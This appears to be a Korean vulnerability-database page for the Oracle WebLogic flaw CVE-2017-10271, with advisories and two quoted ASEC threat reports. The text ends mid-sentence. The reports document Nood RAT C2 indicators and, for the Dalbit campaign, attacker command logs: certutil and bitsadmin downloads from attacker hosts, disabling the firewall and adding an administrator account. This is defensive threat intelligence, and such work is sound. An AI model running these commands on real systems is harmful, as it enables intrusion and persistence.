vuln-intel취약점 정보 통합 DB

← 목록

CVE-2017-10271

위험도 높음 실제 악용 (KEV) 랜섬웨어 악용 공격 코드 공개 ASEC 언급 9건

우선순위 이 사이트의 참고 점수
18.00
위험도 CVSS 3.1 · 0~10점
7.5
악용 가능성 EPSS · 30일 안에 공격에 쓰일 확률
100.0%
공개일 NVD
2017-10-19

설명 NVD 원문

Oracle Fusion Middleware의 Oracle WebLogic Server 구성 요소(하위 구성 요소: WLS Security)에 취약점이 존재한다. 영향을 받는 지원 버전은 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 및 12.2.1.2.0이다. 쉽게 악용할 수 있는 이 취약점을 이용하면, 인증되지 않은 공격자가 T3 프로토콜을 통해 네트워크에 접근하여 Oracle WebLogic Server를 장악할 수 있다. 이 취약점에 대한 공격이 성공하면 Oracle WebLogic Server가 완전히 장악될 수 있다. CVSS 3.0 기본 점수는 7.5이며, 가용성(Availability)에 영향을 준다. CVSS 벡터: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Claude 로 기계 번역한 글입니다. 정확한 내용은 영어 원문을 확인하세요.

영어 원문

Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

위험도 세부 항목 CVSS 3.1

공격 경로
네트워크(원격) AV:N
공격 난이도
낮음(쉬움) AC:L
필요한 권한
없음(로그인 불필요) PR:N
사용자 행동 필요
필요 없음 UI:N
영향 범위
그 제품 안 S:U
정보 유출(기밀성)
없음 C:N
데이터 변조(무결성)
없음 I:N
서비스 중단(가용성)
높음 A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

조치 방법 1행

출처플랫폼·제품방식패키지수정된 버전권고문RHSA 등내용
KISA Oracle WebLogic Server 취약점 보안 업데이트 권고패치(업데이트) KISA-26948 o 취약한 버전의 사용자는 참고사이트 내용을 확인하여 최신 버전으로 업데이트할 것을 권고함[1][2]

CISA 조치 권고 KEV

제조사 안내에 따라 업데이트를 적용하세요.

영어 원문

Apply updates per vendor instructions.

미국 연방기관 조치 기한: 2022-08-10

살펴볼 장비 초안

공격 대상: 서버·웹 서비스. '이 장비에서 살펴볼 취약점' 이라는 분류이며, 장비가 탐지한다는 확인이 아닙니다.

장비 보기정도분류 이유
네트워크 통신 (IPS·NDR)주KEV 이름상 실행 취약점 (사용자 행동 없는 네트워크 공격)
서버 행위 (EDR·감사 로그)주KEV 이름상 실행 취약점
인증·접속 (계정·접근제어)보조인증 결함. 제품 자체 인증을 우회하면 계정 로그에 남지 않을 수 있음

단계별 판정 예시 환경

시나리오 미작성 — 이 CVE 는 단계별 판정을 하지 않았습니다. 안전하다는 뜻이 아닙니다.

출처별 내용 12건

CISA KEV Oracle Corporation WebLogic Server Remote Code Execution Vulnerability 2022-02-10

원문 보기

Apply updates per vendor instructions.

KISA Oracle 제품 사용 주의 권고 2025-09-03

원문 보기

□ 개요 o 최근 Oracle 제품의 취약점 악용 피해가 발생함에 따라 보안 조치 권고 o 영향받는 제품을 사용 중인 사용자는 해결 방안에 따라 최신 버전으로 업데이트 권고 □ 설명 o Oracle WebLogic Server 의 WLS Security 구성 요소에서 입력값 검증 미흡으로 발생하는 원격 코드 실행 취약점 (CVE-2017-10271)[3] □ 영향받는 제품 취약점 제품명 영향받는 버전 CVE-2017-10271 Oracle Weblogic Server 10.3.6.0.0 이하 12.1.3.0.0 이하 12.2.1.1.0 이하 12.2.1.2.0 이하 □ 해결 방안 o 하단의 참고사이트를 확인하여 즉시 최신 버전으로 업데이트 수행 [1][2] □ 참고사이트 [1] https://www.oracle.com/security-alerts/cpuoct2017.html [2] https://docs.oracle.com/en/middleware/fusion-middleware/weblogic-server/ [3] https://nvd.nist.gov/vuln/detail/CVE-2017-10271 □ 문의사항 o 한국인터넷진흥원 사이버민원센터 : 국번없이 118 □ 작성 : 위협분석단 취약점분석팀

KISA Oracle WebLogic Server 취약점 보안 업데이트 권고 2018-01-10

원문 보기

□ 개요 o Oracle社의 Oracle WebLogic Server에서 공격자가 원격 코드 실행 가능한 취약점이 발견됨 o 영향 받는 버전의 사용자는 임의 코드 실행 등의 위험이 있으므로 아래 해결 방안에 따른 조치 권고 □ 설명 o Oracle WebLogic Server WLS Security 구성 요소에서 부적절한 사용자 입력 값 처리로 인해 인증되지 않은 공격자가 WebLogic의 권한으로 원격 코드 실행이 가능한 취약점(CVE-2017-10271) □ 영향을 받는 버전 o Oracle Weblogic Server 10.3.3.0, 10.3.6 0, 12.2.1.1, 12.2.1.2, 12.1.3.0 버전 □ 해결 방안 o 취약한 버전의 사용자는 참고사이트 내용을 확인하여 최신 버전으로 업데이트할 것을 권고함[1][2] □ 기타 문의사항 o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118 [참고사이트] [1] http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html [2] https://support.oracle.com/rs?type=doc&id=2296870.1

ASEC 리눅스 대상 공격에 사용되는 Nood RAT 악성코드 분석 (Gh0st RAT 변종) 2024-02-19

원문 보기

AhnLab SEcurity intelligence Center(ASEC)에서는 최근 리눅스 버전의 Gh0st RAT 변종 악성코드인 Nood RAT이 공격에서 사용되고 있는 것을 확인하였다. 비록 윈도우 버전의 Gh0st RAT과 비교하면 적은 수량이긴 하지만 리눅스 버전의 Gh0st RAT 또한 지속적으로 수집되고 있다. Nood RAT은 과거 코드의 유사성을 기반으로 Gh0st RAT 변종으로 분류되었다. [1] 해당 악성코드는 최근 제작에 사용되는 빌더가 확인되었으며 제작자가 Nood라는 이름을 사용하였기 때문에 여기에서는 Nood RAT으로 분류한다. Nood RAT은 2018년 경부터 다양한 취약점 공격 과정에서 사용되어 왔다. 비록 최근에는 구체적인 공격 사례는 확인되지 않지만 VirusTotal 기준 지속적으로 수집되고 있다. 여기에서는 최근 수년간 확인된 악성코드들을 정리하고 빌더와 함께 분석한다. 1. 개요 Gh0st RAT은 중국의 C. Rufus Security Team에서 개발한 원격 제어 악성코드이다. [2] 소스 코드가 공개되어 있기 때문에 악성코드 개발자들이 이를 참고하여 다양한 변종들을 개발하고 있으며 최근까지도 지속적으로 공격에 사용되고 있다. 비록 소스 코드가 공개되어 있지만 중국어를 사용하는 공격자들이 주로 사용하는 것이 특징이다. ASEC에서는 과거 Gh0st RAT의 변종인 Gh0stCringe RAT 악성코드가 데이터베이스 서버(MS-SQL, MySQL 서버)를 대상으로 이 유포된 사례를 공개한 바 있으며, [3] 이후에도 Hidden 루트킷을 함께 설치하는 Gh0st RAT 변종인 HiddenGh0st가 부적절하게 관리되고 있는 MS-SQL 서버를 대상으로 한 공격에 사용되었던 사례를 다루었다. [4] 소스 코드가 공개되어 있어서 이미 다양한 리눅스 버전이 존재할 수도 있지만 여기에서 다루는 유형인 Nood RAT은 2018년경에 최초로 확인되었다. 가장 오래된 기록은 WebLogic 취약점(CVE-2017-10271) 공격을 통해 설치된 사례이며 [5] 이후 코인 마이너를 설치하는 Rocke 공격자가 공격에 함께 사용한 사례가 있다. [6] 2020년에는 Cloud Snooper APT 공격 캠페인에서도 사용된 이력이 확인되는데 공격자는 아마존 사의 클라우드 서비스인 AWS 내의 서버를 대상으로 백도어 악성코드를 설치하여 제어를 탈취하였다. [7] 2. Gh0st RAT 리눅스 버전 분석 Nood RAT은 다음과 같은 빌더를 통해 제작된다. 압축 파일 내부에는 릴리즈 노트와 빌더 프로그램인 “NoodMaker.exe” 그리고 백도어를 제어하는 데 사용하는 “Nood.exe”가 존재한다. NoodMaker는 제작 시 아키텍처 별로 x86 및 x64 바이너리를 생성하며 공격 대상 시스템에 맞는 바이너리를 선택해 사용할 수 있다. Figure 1. Nood RAT 빌더 (리눅스 버전의 Gh0st RAT) Nood RAT은 정상 프로그램으로 위장하기 위해 자신의 이름을 변경하는 기능이 존재한다. 위장할 프로세스의 이름은 악성코드 제작 과정에서 선택할 수 있다. 처음 실행되면 RC4 알고리즘을 이용해 암호화된 데이터를 복호화하는데 해당 과정을 통해 복호화된 문자열이 변경할 프로세스의 이름이다. 이외에도 설정 데이터도 동일하게 RC4 알고리즘으로 암호화되어 있으며 복호화에 사용되는 RC4 키는 “r0st@#$” 문자열이다. 참고로 Socks 프록시 및 포트 포워딩 통신에서는 “VMware#@!Station” 문자열이 대신 사용된다. Figure 2. 프로세스 이름 위장 기능 프로세스 이름 변경 이후에는 자신을 “/tmp/CCCCCCCC” 경로에 복사하고 실행하며 여기까지의 과정이 끝나면 복사한 파일 즉 “/tmp/CCCCCCCC”를 삭제한다. 이에 따라 현재 실행 중인 악성코드는 “/tmp/CCCCCCCC” 파일이 실행된 형태이지만 파일이 존재하지 않게 되며 악성코드의 프로세스 이름도 위장한 정상 프로세스로 보이게 된다. Figure 3. 변경된 프로세스 이름 이후 설정 데이터를 복호화하는데 설정 데이터는 크게 C&C 서버 주소들과 활성화 날짜 및 시간 그리고 C&C 연결 시도 간격으로 나누어진다. C&C 서버와 통신하면서 명령을 전달받을 수 있는 활성화 날짜는 요일별로 정할 수 있으며 활성화 시간 또한 지정 가능하다. 설정 데이터 형식 : “C&C_Server_1″;”C&C_Server_2″|”Mon”;”Tue”;”Wed”;”Thu”;”Fri”;”Sat”;”Sun”;|”Time”;|”Interval” Figure 4. 빌더 및 설정 데이터 Gh0st RAT은 처음 C&C 서버에 연결 시 감염 시스템에 대한 기본적인 정보들을 획득하여 전송한다. 전송하는 데이터는 RC4 알고리즘으로 암호화하며 암호화에 사용된 키도 현재 시간을 기준으로 생성하기 때문에 네트워크 패킷 기반의 탐지를 우회할 수 있다. Offset Size Data 0x0000 0x0018 “Key Type 2” (Key Type 1로 암호화) 0x0018 0x0004 “Key Type 1” 0x001C 0x0208 감염 시스템 정보 (Key Type 2로 암호화) Table 1. C&C 서버에 전달하는 데이터 C&C 서버에 전달하는 처음 0x18 크기의 데이터는 다음과 같은 형태로서 하드코딩된 4바이트 값 2개와 현재 시간을 기준으로 생성한 4바이트 값 4개로 이루어져 있다. 이 값은 RC4 알고리즘으로 암호화되어 C&C 서버에 전달되는데 이를 암호화하는데 사용하는 키는 “Key Type 1”로 이름 붙인 키를 활용하여 제작한다. Offset Size Data 0x00 0x04 생성한 4바이트 키 #1 0x04 0x04 생성한 4바이트 키 #2 0x08 0x04 생성한 4바이트 키 #3 0x0C 0x04 0x00009F72 0x10 0x04 생성한 4바이트 키 #4 0x14 0x04 0x000002E9 Table 2. 암호화된 키 데이터 C&C 서버에서는 “Key Type 1”을 이용해 RC4 키를 제작하여 “Key Type 2”를 복호화할 수 있으며 복호화된 “Key Type 2”를 이용해 제작한 RC4 키로 0x0208 크기의 데이터를 복호화해 최종적으로 감염 시스템 정보를 구할 수 있다. Offset Type Data 0x0000 String 로그인 배너 문자열 (“/etc/issue.net” 또는 “/etc/issue” 파일의 내용) 0x0100 Flag 로그인 배너 문자열 정보 획득 여부 (0x01 / 0x00) 0x0101 Flag 아키텍처. “/proc/version”에서 x86_64 키워드 존재 여부 (0x01 / 0x00) 0x0102 String 호스트 이름 0x0202 Flag 호스트 이름 획득 여부 (0x01 / 0x00) 0x0203 Hex IP 주소의 16진수 값 0x0207 Flag IP 주소 획득 여부 (0x01 / 0x00) Table 3. C&C 서버에 전송하는 감염 시스템 정보 Figure 5. C&C 패널에서 보여지는 감염 시스템 정보 Nood RAT은 크게 4가지 기능을 지원하는데 원격 쉘 및 파일 관리, Socks 프록시, 포트 포워딩 기능이 그것이다. 이를 통해 공격자는 감염 시스템에서 악의적인 명령을 실행하거나 파일 업로드 및 다운로드 기능을 이용해 정보를 탈취할 수 있다. 또한 감염 시스템을 프록시로 사용하거나 포트 포워딩 기능을 통해 측면 이동 과정에서 해당 시스템을 활용할 수도 있다. Figure 6. Nood RAT이 지원하는 명령들 3. 공격 사례 Nood RAT을 사용한 공격 사례는 과거 WebLogic 취약점 공격 사례와 Cloud Snooper APT 공격 사례가 있었다. 이후 최근까지도 Nood RAT 악성코드가 지속적으로 수집되고 있으며 VirusTotal에서도 업로드되고 있다. 비록 구체적인 공격 방식은 확인되지 않지만 다양한 공격자들이 감염 시스템을 제어하고 정보를 탈취하기 위한 목적으로 사용하고 있는 것으로 추정된다. 다음은 최근 수년간 확인된 Nood RAT을 분류한 표이다. 수집일 국가 이름 위장 프로세스 설정 데이터 240130 KR AliDunYun /usr/bin/ssh 43.156.118[.]72:443;43.156.118.72:443;| 1;1;1;1;1;1;1;|00-24;|1 240116 HK pki.rar /usr/bin/ssh b.niupilao[.]vip:80;|1;1;1;1;1;1;1;|00-24;|1 231028 PH x.uu [kworker/0:0] update.kworker[.]net:443;check.snapupdate[.]org:80;| 1;1;1;1;1;1;1;|00-24;|1 231027 CN nginx /usr/bin/ssh 42.51.40[.]184:56;|1;1;1;1;1;1;1;|00-24;|1 230907 RU MFWzS4YNXpQd [kworker/2:0] 13.214.222[.]35:443;|1;1;1;1;1;1;1;|00-24;|1 221013 HK hsperf kworker cloud.awsxtd[.]com:443;|1;1;1;1;1;1;1;|00-24;|3 220911 RU adyagent /usr/bin/ssh 43.140.251[.]218:8080;|1;1;1;1;1;1;1;|00-24;|1 220726 CN update /usr/bin/ssh 101.42.139[.]110:8443;101.42.139[.]110:53;| 1;1;1;1;1;1;1;|00-24;|1 220113 CN update /usr/bin/ssh 81.68.143[.]132:1234;81.68.143[.]132:8080;| 1;1;1;1;1;1;1;|00-24;|1 211213 VN bo /usr/bin/ssh bo.appleupcheck[.]com:443; |1;1;1;1;1;1;1;|00-24;|1 210921 PK N/A /usr/sbin/xfs_srv 194.36.191[.]75:443;|1;1;1;1;1;1;1;|00-24;|1 210601 CN titan.bin /usr/bin/ssh 1.117.165[.]141:53;1.117.165[.]141:53;| 1;1;1;1;1;1;1;|00-24;|1 210403 CN N/A /sbin/auditd 23.100.88[.]61:53;|1;1;1;1;1;1;1;|00-24;|10 Table 4. Nood RAT 악성코드 4. 결론 Gh0st RAT은 윈도우 시스템을 대상으로 활발하게 사용되고 있는 악성코드이지만 공개된 소스 코드를 기반으로 제작된 리눅스 버전의 Gh0st RAT 또한 다양한 공격자들에 의해 지속적으로 사용되어 왔다. Gh0st RAT 변종 중 제작자가 Nood라는 이름을 붙인 리눅스 버전의 악성코드는 최근까지도 다양한 국가들에서 수집되고 있다. Nood RAT은 C&C 서버로부터 명령을 받아 악성 파일 다운로드, 시스템 내부 파일 탈취, 명령 실행과 같은 기능을 수행할 수 있는 백도어 악성코드이다. 간단한 형태이지만 네트워크 패킷 탐지를 우회하기 위해 암호화를 사용하며 공격자의 명령을 받아 다양한 악성 행위를 수행할 수 있다. 이와 같은 보안 위협을 방지하기 위해서는 취약한 환경 설정이나 인증 정보를 검사하고, 관련 시스템들을 항상 최신 버전으로 업데이트하여 공격으로부터 보호해야 한다. 또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 파일 진단 – Linux/Agent.86208 (2029.01.08.00) – Backdoor/Linux.Rekoobe.86144 (2022.06.15.00) – Backdoor/Linux.Rekoobe.86176 (2022.06.15.00) – Backdoor/Linux.Rekoobe.83264 (2022.06.15.00) MD5 035f83018cf96f5e1f6817ccd39fc0b6 0a35e06f53c17ab1c8e18e7e0c0821d8 35743db3dc333245ef5b69100721ced9 4f3afdcfff8f7994b7d3d3fbaa6858b4 75838e5d481da40db2e235a6d5a222ef URL http[:]//1[.]117[.]165[.]141[:]53/ http[:]//101[.]42[.]139[.]110[:]53/ http[:]//101[.]42[.]139[.]110[:]8443/ http[:]//23[.]100[.]88[.]61[:]53/ http[:]//42[.]51[.]40[.]184[:]56/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.

ASEC 달빗(Dalbit,m00nlight): 중국 해커 그룹의 APT 공격 캠페인 2023-01-31

원문 보기

0. 개요 해당 내용은 2022년 8월 16일에 공개된 ‘국내 기업 타겟의 FRP(Fast Reverse Proxy) 사용하는 공격 그룹’ 블로그의 연장선으로, 해당 그룹의 행보를 추적한 내용이다. 국내 기업 타겟의 FRP(Fast Reverse Proxy) 사용하는 공격 그룹 – ASEC BLOG Contents1. ASP 웹쉘i. ASPXSpy2. 권한 상승2.1. Potato2.2. 취약점 (익스플로잇)3. 프록시 & 포트 포워딩3.1. FRP3.2. HTran(LCX)4. 랜섬웨어 감염 사례(BitLocker) 최근 외부에 노출된 취약한 서버를 시작으로 하여 침투한 공격자가 내부 네트워크까지 장악하는 침해 사고가 국내 기업들을 대상으로 빈번히 이루어지고 있다. 취약한 Atlassian Confluence 서버를 대상으로 하는 공격 사례 국내 의료기관의 취약한 서버를 대상으로 유포된 미터프리터(Meterpreter) 취약… 이 그룹은 과거부터 지금까지 오픈 소스 도구를 주로 사용하고 PDB 등에 정보가 없어 프로파일링의 명확한 특징이 부족했다. 또한 C2(Command&Control) 서버는 국내 기업 서버를 악용하여 피해 기업이 조사를 따로 요청하지 않는 경우 수집할 수 있는 정보가 한정적이었다. 허나 블로그가 공개되고 공격자가 사용 중이던 국내 기업 서버가 일부 차단되자 공격자는 ‘*.m00nlight.top’ 라는 이름의 호스팅 서버를 C2 및 다운로드 서버로 사용하기 시작하였다. 따라서 ASEC에서는 이 그룹을 영어 ‘Moonlight’의 의미인 ‘달빛’에서 가져와 달빗(Dalbit, m00nlight.top)이라 명명한다. 해당 그룹은 2022년부터 지금까지 한국 기업의 50곳 이상 공격을 시도한 것으로 확인되고 있다. 현재까지 공격 받은 기업은 주로 중견이하 업체이나 대기업도 일부 포함되어 있으며, 특히 감염 기업의 30%가 국내의 특정 그룹웨어 솔루션을 사용 중인 것으로 확인되었다. 현재 해당 그룹웨어 제품에 취약점 존재 여부는 명확히 알기 어려우나, 이처럼 외부에 노출된 서버가 취약한 경우 사내 기밀 유출과 랜섬웨어 행위까지 이어져 기업에 지대한 영향을 미칠 수 있다. 또한 이 달빗(Dalbit) 그룹은 감염된 기업 중 일부를 프록시(Proxy) 및 다운로드(Download) 서버로 두어, 또 다른 기업 침투 시에 공격자의 연결책으로 사용되고 있다. 따라서 이번 달빗(Dalbit) 그룹의 공격이 의심된다면 필히 사내 보안 점검을 해야할 것으로 보이며, 잠재적인 2차 피해와 또 다른 기업 피해를 예방하기 위해 선제적 대응할 수 있도록 AhnLab에 신고를 부탁드린다. 1. 국내 피해 기업(산업 분류) 2022년부터 현재까지 확인된 피해 기업은 총 50 곳으로 아래와 같다. 명확히 확인되지 않는 기업은 목록에서 제외하였으며, 피해 기업은 이외에도 더 있을 것으로 추정된다. 각 분류에 대한 설명은 아래와 같다. Technology : 소프트웨어나 하드웨어를 다루는 업체 Industrial : 기계나 도료, 철강 및 금속 등을 다루는 제조업체 Chemical : 화장품, 제약, 플라스틱 등 업체 Construction : 건설업체나 건설과 관련된 협회나 단체 Automobile : 자동차 관련 제조업체 Semiconductor : 반도체 관련 제조업체 Education : 교육업체 Wholesale: 도매업체 Media : 인쇄 및 미디어업체 Food : 음식업체 Shipping : 화물업체 Hospitality : 레저업체나 관광숙박업체 Energy : 에너지 업체 Shipbuilding : 조선업체 Consulting : 경영 컨설팅 업체 2. 흐름 및 특징 2.1. 요약도 위 그림은 공격자가 B 기업(Company B)을 침해하는 과정이다. 해당 흐름을 간략히 소개하면 다음과 같다. 1) Inital Access 공격자는 웹 서버나 SQL 서버 등을 대상으로 취약점을 이용해 시스템에 접근 후 웹쉘과 같은 도구로 제어를 시도한다. 2) Command & Control 웹쉘을 통해 여러 해킹 도구를 다운로드한다. 해킹 도구는 권한 상승 도구와 프록시 도구 네트워크 스캔 도구 등 여러 바이너리가 포함된다. 3) Proxy & Internal Reconnaissance Proxy :  공격자는 FRP(Fast Reverse Proxy)와 같은 프록시 도구를 설치한 뒤 2-1) 공격자가 구축한 호스팅 서버 나 2-2) 기감염된 다른 기업(Company A)의 서버 를 통해 원격 데스크탑(RDP)으로 연결을 시도한다. Internal Reconnaissance : 네트워크 스캔 도구와 계정 탈취 도구 등을 통해 내부 정찰 및 정보를 습득한다. 4) Lateral Movement 얻은 정보를 통해 연결 가능한 다른 서버 혹은 PC로 이동한다. 이후 측면 이동이 성공한 PC에도 프록시 도구(FRP)를 설치해 공격자가 RDP로 접속할 수 있는 환경을 구성하며, 특정 계정을 추가하거나 미미카츠(Mimikatz)와 같은 자격 증명 탈취 도구를 통해 필요한 권한을 얻는다. 5) Impact 최종적으로 공격자가 원하는 정보를 모두 탈취했다면 BitLocker를 이용해 특정 드라이브를 잠그고 돈을 요구한다. [표 1] 침해 요약도 설명 다음은 달빗(Dalbit) 그룹의 주요 특징으로 아래와 같다. 2.2. 달빗(Dalbit)의 특징 목록 설명 공격자 C2 서버 다운로드 및 C2(Command&Control) 서버 : 국내 기업 서버 또는 호스팅 서버 서버 중 반 이상이 국내 기업 서버 악용 호스팅 서버는 주로 *.m00nlight.top 혹은 IP 형태의 주소를 사용 RDP 제어 시도 감염 후 주로 RDP 접근 시도 RDP 연결을 위해 프록시 도구 혹은 Gotohttp 사용 프록시 도구 주요 프록시 도구는 FRP 와 LCX(Htran) 이외에 NPS 와 ReGeorg 등을 사용 사용자 계정 추가 net 명령어를 통해 계정 추가 계정 정보( ID : ‘main’ / PW : ‘ff0.123456’ ) 오픈 소스 도구 대부분 누구나 쉽게 구할 수 있는 오픈 소스 도구 사용 특히 중국어로 작성된 도구가 많음 회피 해킹 툴, 진단 우회시 VMProtect 제품 사용 Security 이벤트 로그 삭제 탈취 정보 사용자 계정 정보 이메일 정보 화면 유출 설치된 프로그램 정보 [표 2] 달빗(Dalbit)의 특징 3. 사용한 도구 및 침해 과정 3.1. 사용 도구 및  악성코드 웹쉘 다운로더 권한 상승 프록시 내부 정찰 Godzilla ASPXSpy AntSword China Chopper Certutil (Windows CMD) Bitsadmin (Windows CMD) BadPotato JuicyPotato SweetPotato RottenPotato EFSPotato CVE-2018-8639 CVE-2019-1458 FRP LCX NPS ReGeorg FScan NbtScan TCPScan Goon Nltest (Windows CMD) 측면 이동 정보 수집 및 유출 백도어 파일 암호화 회피 RDP PsExec RemCom Winexec Wevtutil (Windows CMD) WMI (Windows CMD) ProcDump Dumpert EML Extractor(제작) Mimikatz Rsync CobaltStrike MetaSploit BlueShell Ladon BitLocker (Windows CMD) Security 로그 삭제 (Windows CMD) 방화벽 OFF (Windows CMD) AV 제품 삭제 시도 VMProtect Packing [표 3] 달빗(Dalbit)이 사용한 악성코드 및 해킹 도구 공격자가 직접 제작한 도구는 메일을 유출하는 도구 1건으로 보이며, 나머지는 윈도우 정상 프로그램을 사용하거나 검색 시 쉽게 구할 수 있는 도구를 사용하였다. 3.2. 침해 과정 3.2.1. 초기 침투 공격 대상은 주로 국내의 특정 그룹웨어가 설치된 서버나 취약한 웹 서버, 메일 서버(Exchange Server) 그리고 SQL 서버로 추정된다. 공격자는 CVE-2017-10271과 같은 WebLogic 취약점이나 파일 업로드 취약점을 악용해 웹쉘(WebShell)을 업로드하였으며, 일부는 SQL Server 의 명령 프롬프트(xp_cmdshell)를 이용한 것으로 보인다. 공격자가 주로 사용한 웹쉘은 Godzilla, ASPXSpy, AntSword, China Chopper 순으로, Godzilla를 가장 많이 사용했으며 일부 기타 웹쉘도 확인되었다. 설치된 웹쉘의 경로는 다음과 같다. – 인사채용(파일 업로드 취약점) D:\WEB\********recruit\css\1.ashx D:\WEB\********recruit\css\4.ashx D:\WEB\********recruit\common\conf.aspx .. . – 파일 업로드 취약점 D:\UploadData\***********\****_File\Data\Award\1.ashx D:\UploadData\***********\****_File\Data\Award\2.aspx D:\UploadData\***********\****_File\Data\Award\3.aspx D:\**웹서비스\********\*****Editor\sample\photo_uploader\File\conf.aspx D:\**웹서비스\********_논문투고\Include\file.aspx .. . – 특정 그룹웨어 D:\Web\(그룹웨어)\cop\1.ashx D:\Web\(그룹웨어)\app\4.ashx D:\Web\(그룹웨어)\bbs\4.asmx D:\Web\(그룹웨어)\erp\tunnel.aspx (ReGeorg) D:\inetpub\(그룹웨어)\image\2.asmx D:\inetpub\(그룹웨어)\image\2.aspx C:\(그룹웨어)\Web\(그룹웨어)\cop\conf.aspx C:\(그룹웨어)\Web\(그룹웨어)\cop\1.ashx C:\(그룹웨어)\Web\(그룹웨어)\cop\1.asmx C:\(그룹웨어)\Web\(그룹웨어)\cop\1.aspx … – 메일 서버( Exchange Server ) D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\11.aspx C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_ldaj2kwn.dll … – Weblogic D:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer\gcx62x\war\modifyregistryhelp.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\eee.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\error.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\123.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\test.jsp     D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\aaa.jsp … – Tomcat C:\(Tomcat)\webapps\dd\sb.jsp C:\(Tomcat)\webapps\ddd\index.jsp C:\(Tomcat)\webapps\docs\update.jsp C:\(Tomcat)\webapps\tmp\shell.jsp [표 4] 웹쉘이 업로드된 경로 3.2.2. 다운로드 공격자는 기본적으로 설치된 윈도우 정상 프로그램을 통해 다른 해킹 도구를 다운로드한다. 보통 침투 시 웹쉘을 사용하기 때문에 cmd와 같은 명령어 프로세스를 제외하면 부모 프로세스는 w3wp.exe, java.exe, sqlserver.exe, tomcat*.exe 와 같은 웹 서버 프로세스에 의해 수행된다. 다운로드 받는 파일은 권한 상승 도구와 프록시 도구 그리고 네트워크 스캔 도구 등 공격자가 필요한 파일을 받아온다. 다운로드 명령은 아래와 같다. (참고로 악용된 국내 기업 서버의 경우 주소를 전체 공개하지 않는다.) 1) Certutil > certutil -urlcache -split -f hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip c:\programdata\update.exe (frpc) > certutil -urlcache -split -f hxxp://121.167.***[.]***/temp/8.txt c:\programdata\8.ini (frpc.ini) > certutil  -urlcache -split -f hxxp://103.118.42[.]208:8080/frpc.exe frpc.exe … [표 5] Certutil 다운로드 로그 2) Bitsadmin > bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc) > bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8001/log.ini ” “c:\windows\debug\log.ini” (frpc.ini) … [표 6] Bitsadmin 다운로드 로그 공격자가 다운로드 받은 해킹 도구 및 악성코드는 주로 아래의 경로에서 확인되었다. %ALLUSERSPROFILE% %SystemDrive%\temp %SystemDrive%\perflogs %SystemDrive%\nia %SystemDrive%\.tmp %SystemRoot% %SystemRoot%\debug %SystemRoot%\temp [표 7] 달빗(Dalbit) 그룹이 사용한 주 디렉토리 따라서 침해가 의심되는 경우 해당 경로의 파일을 점검할 필요가 있다. 3.2.3. 권한 상승 및 계정 추가 공격자는 권한 상승을 위해 Potato(BadPotato, JuicyPotato, SweetPotato, RottenPotato, EFSPotato)와 깃허브에 공개된 POC (CVE-2018-8639, CVE-2019-1458)를 주로 사용한다. 권한 상승 후 아래와 같은 계정을 추가하는 것이 특징이다. 아래의 sp.exe는 SweetPotato 도구이다. > sp.exe “whaomi” (권한 확인) > sp.exe “netsh advfirewall set allprofiles state off” (방화벽 OFF) > sp.exe “net user main ff0.123456 /add & net localgroup administrators main /add” (계정 추가) [표 8] SweetPotato 사용 로그 관심있게 봐야할 부분은 공격자가 추가한 계정 이름이다. 이는 다른 침해 기업에서도 ‘main’이라는 공격자의 계정이 확인되었다. 공격자는 계정을 추가하는 방법 외에 탈취된 관리자 계정을 사용하기도 하였다. > wmic  /node:127.0.0.1 /user:storadmin /password:r*****1234!@#$  process call create “cmd.exe /c c:\temp\s.bat” [표 9] 관리자 계정 실행 로그 3.2.4. 프록시 설정 공격자는 서버에 침투 후 RDP 통신을 사용하기 위해 프록시를 사용하여 접근한다. 프록시 도구는 주로 FRP와 LCX가 사용되었으며, 일부 기업에서는 ReGeorg 나 NPS 또는 RSOCKS 등도 확인되었다. 또한 특정 침해 기업에서는 FRP와 LCX 등 여러 프록시 도구가 한 곳에서 확인되기도 하였으며, 내부 전파까지 이어진 경우 다수의 FRP 설정 파일(.ini)이 발견되기도 하였다. 이는 접근 가능한 PC 중 먹잇감이 많은 경우 공격자가 FRP를 추가로 설치하면서 다수의 설정 파일이 사용된 것으로 보고 있다. 또 해당 그룹이 사용하는 LCX는 오픈 소스와 기능은 동일하지만 깃허브에 공개된 버전이 아닌 중국인이 임의로 컴파일한 바이너리가 